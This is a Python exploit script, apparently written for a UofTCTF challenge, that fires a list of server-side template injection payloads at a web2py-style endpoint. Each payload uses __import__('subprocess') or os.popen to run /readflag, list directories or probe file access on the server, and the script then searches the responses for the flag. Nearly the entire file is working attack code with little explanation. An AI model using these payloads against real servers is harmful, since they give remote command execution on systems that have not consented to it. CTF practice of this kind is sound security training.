#!/usr/bin/env python3
"""
Try different ways to capture /readflag output
"""

import requests
import urllib3
import re

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def test_output_capture():
    """Try various ways to capture the command output"""
    
    payloads = [
        # Using check_output with explicit settings
        ("check_output basic", "{{=__import__('subprocess').check_output(['/readflag'], text=True)}}"),
        
        # Using run with capture
        ("run with capture", "{{=__import__('subprocess').run(['/readflag'], capture_output=True, text=True).stdout}}"),
        
        # Using Popen
        ("Popen communicate", "{{=__import__('subprocess').Popen(['/readflag'], stdout=__import__('subprocess').PIPE, text=True).communicate()[0]}}"),
        
        # Using os.popen
        ("os.popen", "{{=__import__('os').popen('/readflag').read()}}"),
        
        # Shell=True with full path
        ("shell true", "{{=__import__('subprocess').check_output('/readflag', shell=True, text=True)}}"),
        
        # Try stderr as well
        ("stderr", "{{=__import__('subprocess').run(['/readflag'], capture_output=True, text=True).stderr}}"),
        
        # Combined stdout+stderr
        ("combined", "{{=__import__('subprocess').check_output(['/readflag'], stderr=__import__('subprocess').STDOUT, text=True)}}"),
        
        # Test if readflag is even executable/accessible
        ("test access", "{{=str(__import__('os').access('/readflag', __import__('os').X_OK))}}"),
        
        # List directory to see what's there
        ("ls /", "{{=__import__('os').listdir('/')}}"),
        
        # Check if file exists
        ("file exists", "{{=str(__import__('os').path.exists('/readflag'))}}"),
    ]
    
    for name, payload in payloads:
        print(f"\n[>] Testing {name}...")
        print(f"    Payload: {payload[:80]}...")
        
        try:
            response = requests.get(
                BASE_URL + "/welcome/default/index",
                params={"test": payload},
                verify=False,
                timeout=10
            )
            
            print(f"    Status: {response.status_code}, Length: {len(response.text)}")
            
            # Check for flag
            if "uoftctf{" in response.text:
                print("\n" + "="*60)
                print(f"[!!!] FLAG FOUND with method: {name}")
                print("="*60)
                flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
                for flag in flags:
                    print(f"\nFLAG: {flag}\n")
                return flag
            
            # Check for "True" or "False" in boolean tests
            if name in ["test access", "file exists"] and ("True" in response.text or "False" in response.text):
                # Find it in context
                for match in ["True", "False"]:
                    if match in response.text:
                        idx = response.text.find(match)
                        print(f"    Result: {match} (at position {idx})")
                        break
            
            # For list directory, look for markers
            if name == "ls /" and ("root" in response.text or "home" in response.text):
                print("    [+] Directory listing might be in response")
                
        except Exception as e:
            print(f"    Error: {e}")
    
    return None

if __name__ == "__main__":
    flag = test_output_capture()
    if not flag:
        print("\n[*] No flag captured with any method.")
